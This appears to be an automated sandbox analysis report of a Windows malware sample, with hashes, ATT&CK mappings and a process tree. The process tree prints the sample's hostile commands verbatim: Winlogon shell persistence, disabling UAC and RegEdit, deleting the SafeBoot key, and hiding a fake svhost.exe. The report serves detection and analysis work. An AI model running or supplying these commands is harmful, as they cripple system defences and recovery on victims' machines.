980d2ecca216194eb70a3cb502f039589f9a0c2b4fb37392c19144527423ea55

Analysis

max time kernel
92s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
21/09/2024, 00:56

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General

Target

eec4b4c99ef12c3af34dbceb9bba0bd3_JaffaCakes118.exe
Size

217KB
MD5

eec4b4c99ef12c3af34dbceb9bba0bd3
SHA1

5cdb384dc1b13b32fccb078093b8e7ea25c68053
SHA256

980d2ecca216194eb70a3cb502f039589f9a0c2b4fb37392c19144527423ea55
SHA512

92b3947cf1296b7fa9a899c4552ac74c406adda9df174155169f957e1c10a68c49dc856edb95ef25de1ea2e3bfa828f5e121415e3f1cb3587e49f89e9d55226b
SSDEEP

6144:OQVHddxtFrchQzcp63BkJhysb6PAE30aT:t59tFrcagQMynB

Score

10^/10

defense_evasion discovery evasion persistence upx

Malware Config

Signatures

Modifies WinLogon for persistence 2 TTPs 2 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\shell = "C:\\Program Files\\Common Files\\Boot\\svhost.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\shell = "C:\\Program Files\\Common Files\\Boot\\svhost.exe"	reg.exe

Disables RegEdit via registry modification 1 IoCs

evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	reg.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000\Control Panel\International\Geo\Nation	eec4b4c99ef12c3af34dbceb9bba0bd3_JaffaCakes118.exe

Impair Defenses: Safe Mode Boot 1 TTPs 6 IoCs

defense_evasion

Safe Mode Boot

T1562.009

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\UserManager	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\CBDHSvc	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\iai2c.sys	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\Power	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\ProfSvc	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\SerCx2.sys	reg.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/2280-0-0x0000000000400000-0x0000000000D57000-memory.dmp	upx

Hide Artifacts: Hidden Files and Directories 1 TTPs 2 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
940	cmd.exe
4944	cmd.exe

Drops file in Program Files directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Common Files\Boot\svhost.exe	attrib.exe
File opened for modification	C:\Program Files\Common Files\Boot	attrib.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 18 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	eec4b4c99ef12c3af34dbceb9bba0bd3_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
4832	reg.exe

Suspicious behavior: RenamesItself 1 IoCs

pid	Process
2608	cmd.exe

Suspicious use of WriteProcessMemory 51 IoCs

description	pid	Process	procid_target
PID 2280 wrote to memory of 220	2280	eec4b4c99ef12c3af34dbceb9bba0bd3_JaffaCakes118.exe	82
PID 2280 wrote to memory of 220	2280	eec4b4c99ef12c3af34dbceb9bba0bd3_JaffaCakes118.exe	82
PID 2280 wrote to memory of 220	2280	eec4b4c99ef12c3af34dbceb9bba0bd3_JaffaCakes118.exe	82
PID 2280 wrote to memory of 5056	2280	eec4b4c99ef12c3af34dbceb9bba0bd3_JaffaCakes118.exe	84
PID 2280 wrote to memory of 5056	2280	eec4b4c99ef12c3af34dbceb9bba0bd3_JaffaCakes118.exe	84
PID 2280 wrote to memory of 5056	2280	eec4b4c99ef12c3af34dbceb9bba0bd3_JaffaCakes118.exe	84
PID 2280 wrote to memory of 4560	2280	eec4b4c99ef12c3af34dbceb9bba0bd3_JaffaCakes118.exe	86
PID 2280 wrote to memory of 4560	2280	eec4b4c99ef12c3af34dbceb9bba0bd3_JaffaCakes118.exe	86
PID 2280 wrote to memory of 4560	2280	eec4b4c99ef12c3af34dbceb9bba0bd3_JaffaCakes118.exe	86
PID 2280 wrote to memory of 2840	2280	eec4b4c99ef12c3af34dbceb9bba0bd3_JaffaCakes118.exe	88
PID 2280 wrote to memory of 2840	2280	eec4b4c99ef12c3af34dbceb9bba0bd3_JaffaCakes118.exe	88
PID 2280 wrote to memory of 2840	2280	eec4b4c99ef12c3af34dbceb9bba0bd3_JaffaCakes118.exe	88
PID 220 wrote to memory of 2656	220	cmd.exe	89
PID 220 wrote to memory of 2656	220	cmd.exe	89
PID 220 wrote to memory of 2656	220	cmd.exe	89
PID 2280 wrote to memory of 3188	2280	eec4b4c99ef12c3af34dbceb9bba0bd3_JaffaCakes118.exe	91
PID 2280 wrote to memory of 3188	2280	eec4b4c99ef12c3af34dbceb9bba0bd3_JaffaCakes118.exe	91
PID 2280 wrote to memory of 3188	2280	eec4b4c99ef12c3af34dbceb9bba0bd3_JaffaCakes118.exe	91
PID 2656 wrote to memory of 2608	2656	cmd.exe	92
PID 2656 wrote to memory of 2608	2656	cmd.exe	92
PID 2656 wrote to memory of 2608	2656	cmd.exe	92
PID 2280 wrote to memory of 2568	2280	eec4b4c99ef12c3af34dbceb9bba0bd3_JaffaCakes118.exe	93
PID 2280 wrote to memory of 2568	2280	eec4b4c99ef12c3af34dbceb9bba0bd3_JaffaCakes118.exe	93
PID 2280 wrote to memory of 2568	2280	eec4b4c99ef12c3af34dbceb9bba0bd3_JaffaCakes118.exe	93
PID 4560 wrote to memory of 5004	4560	cmd.exe	94
PID 4560 wrote to memory of 5004	4560	cmd.exe	94
PID 4560 wrote to memory of 5004	4560	cmd.exe	94
PID 2280 wrote to memory of 940	2280	eec4b4c99ef12c3af34dbceb9bba0bd3_JaffaCakes118.exe	97
PID 2280 wrote to memory of 940	2280	eec4b4c99ef12c3af34dbceb9bba0bd3_JaffaCakes118.exe	97
PID 2280 wrote to memory of 940	2280	eec4b4c99ef12c3af34dbceb9bba0bd3_JaffaCakes118.exe	97
PID 5056 wrote to memory of 392	5056	cmd.exe	99
PID 5056 wrote to memory of 392	5056	cmd.exe	99
PID 5056 wrote to memory of 392	5056	cmd.exe	99
PID 2280 wrote to memory of 4944	2280	eec4b4c99ef12c3af34dbceb9bba0bd3_JaffaCakes118.exe	100
PID 2280 wrote to memory of 4944	2280	eec4b4c99ef12c3af34dbceb9bba0bd3_JaffaCakes118.exe	100
PID 2280 wrote to memory of 4944	2280	eec4b4c99ef12c3af34dbceb9bba0bd3_JaffaCakes118.exe	100
PID 2568 wrote to memory of 1648	2568	cmd.exe	102
PID 2568 wrote to memory of 1648	2568	cmd.exe	102
PID 2568 wrote to memory of 1648	2568	cmd.exe	102
PID 3188 wrote to memory of 1692	3188	cmd.exe	103
PID 3188 wrote to memory of 1692	3188	cmd.exe	103
PID 3188 wrote to memory of 1692	3188	cmd.exe	103
PID 2840 wrote to memory of 4832	2840	cmd.exe	104
PID 2840 wrote to memory of 4832	2840	cmd.exe	104
PID 2840 wrote to memory of 4832	2840	cmd.exe	104
PID 940 wrote to memory of 4892	940	cmd.exe	105
PID 940 wrote to memory of 4892	940	cmd.exe	105
PID 940 wrote to memory of 4892	940	cmd.exe	105
PID 4944 wrote to memory of 744	4944	cmd.exe	106
PID 4944 wrote to memory of 744	4944	cmd.exe	106
PID 4944 wrote to memory of 744	4944	cmd.exe	106

Views/modifies file attributes 1 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
744	attrib.exe
4892	attrib.exe

C:\Users\Admin\AppData\Local\Temp\eec4b4c99ef12c3af34dbceb9bba0bd3_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\eec4b4c99ef12c3af34dbceb9bba0bd3_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2280
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c cmd /c cmd /c move /y "C:\USERS\ADMIN\APPDATA\LOCAL\TEMP\eec4b4c99ef12c3af34dbceb9bba0bd3_JaffaCakes118.exe" "C:\Program Files\Common Files\Boot\svhost.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:220
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c cmd /c move /y "C:\USERS\ADMIN\APPDATA\LOCAL\TEMP\eec4b4c99ef12c3af34dbceb9bba0bd3_JaffaCakes118.exe" "C:\Program Files\Common Files\Boot\svhost.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2656
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c move /y "C:\USERS\ADMIN\APPDATA\LOCAL\TEMP\eec4b4c99ef12c3af34dbceb9bba0bd3_JaffaCakes118.exe" "C:\Program Files\Common Files\Boot\svhost.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: RenamesItself
      PID:2608
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "hkey_local_machine\software\microsoft\windows nt\currentversion\winlogon" /v shell /t reg_sz /d "C:\Program Files\Common Files\Boot\svhost.exe" /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5056
- - C:\Windows\SysWOW64\reg.exe
    reg add "hkey_local_machine\software\microsoft\windows nt\currentversion\winlogon" /v shell /t reg_sz /d "C:\Program Files\Common Files\Boot\svhost.exe" /f
    3⤵
    - Modifies WinLogon for persistence
    - System Location Discovery: System Language Discovery
    PID:392
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "hkey_local_machine\software\microsoft\windows nt\currentversion\winlogon " /v shell /t reg_sz /d "C:\Program Files\Common Files\Boot\svhost.exe" /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4560
- - C:\Windows\SysWOW64\reg.exe
    reg add "hkey_local_machine\software\microsoft\windows nt\currentversion\winlogon " /v shell /t reg_sz /d "C:\Program Files\Common Files\Boot\svhost.exe" /f
    3⤵
    - Modifies WinLogon for persistence
    - System Location Discovery: System Language Discovery
    PID:5004
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2840
- - C:\Windows\SysWOW64\reg.exe
    REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:4832
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t reg_dword /d "1" /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3188
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t reg_dword /d "1" /f
    3⤵
    - Disables RegEdit via registry modification
    - System Location Discovery: System Language Discovery
    PID:1692
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg delete HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SafeBoot /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2568
- - C:\Windows\SysWOW64\reg.exe
    reg delete HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SafeBoot /f
    3⤵
    - Impair Defenses: Safe Mode Boot
    - System Location Discovery: System Language Discovery
    PID:1648
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +h "C:\Program Files\Common Files\Boot\svhost.exe"
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:940
- - C:\Windows\SysWOW64\attrib.exe
    attrib +h "C:\Program Files\Common Files\Boot\svhost.exe"
    3⤵
    - Drops file in Program Files directory
    - System Location Discovery: System Language Discovery
    - Views/modifies file attributes
    PID:4892
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +h "C:\Program Files\Common Files\Boot"
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4944
- - C:\Windows\SysWOW64\attrib.exe
    attrib +h "C:\Program Files\Common Files\Boot"
    3⤵
    - Drops file in Program Files directory
    - System Location Discovery: System Language Discovery
    - Views/modifies file attributes
    PID:744

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Safe Mode Boot

T1562.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2280-0-0x0000000000400000-0x0000000000D57000-memory.dmp

Filesize
9.3MB

Download
memory/2280-1-0x0000000000DF0000-0x0000000000DF2000-memory.dmp

Filesize
8KB

Download
memory/2280-2-0x0000000000400000-0x0000000000D57000-memory.dmp

Filesize
9.3MB

Download
memory/2280-4-0x0000000000400000-0x0000000000D57000-memory.dmp

Filesize
9.3MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads